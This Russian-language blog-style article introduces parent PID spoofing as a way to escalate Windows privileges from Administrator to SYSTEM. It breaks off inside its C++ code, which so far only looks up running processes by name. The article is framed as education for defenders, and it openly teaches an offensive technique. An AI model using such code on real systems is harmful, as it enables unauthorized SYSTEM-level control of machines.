Добро пожаловать в нашу последнюю статью, в которой мы погружаемся в интригующий мир повышения привилегий в ОС Windows. Сегодня мы представим передовую технику, известную как подмена родительского PID, мощный метод, позволяющий повысить привилегии с Администратора до желанной NT AUTHORITY SYSTEM.

Введение

В сфере кибербезопасности повышение привилегий является важнейшим аспектом понимания и обеспечения безопасности компьютерных систем. Эксплуатируя уязвимость подмены родительского PID, мы получаем возможность создать новый процесс с тем же контекстом, что и родительский процесс, эффективно наследуя его уровень привилегий.

В этой статье мы познакомим вас с внутренней работой этого метода, разберем этапы повышения привилегий и получения доступа к повышенному уровню NT AUTHORITY SYSTEM. Наша цель — предоставить всеобъемлющее и доступное объяснение, которое поможет энтузиастам и специалистам в области безопасности понять и защититься от этой потенциальной угрозы.

Присоединяйтесь к нам в этом познавательном путешествии, где мы исследуем тонкости Privesc PPID и предоставим вам знания, которые помогут повысить безопасность вашей системы и защитить ее от несанкционированного доступа.

Давайте вместе отправимся в это приключение открытий!

Код

#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <array>
#include <string>

using namespace std;

int getPIDbyProcName(const char* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (strcmp(pe32.szExeFile, procName) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

string isProcessRunningbyList(array<string,4> processes){
    bool found = false;
    string runningProcess;
    int i = 0;
    while(!found){
        int pid = getPIDbyProcName(processes[i].c_str());
        if(pid != 0){
            runningProcess = processes[i];
            found = true;
            return runningProcess;
        }
        i++;
    }
    return ""…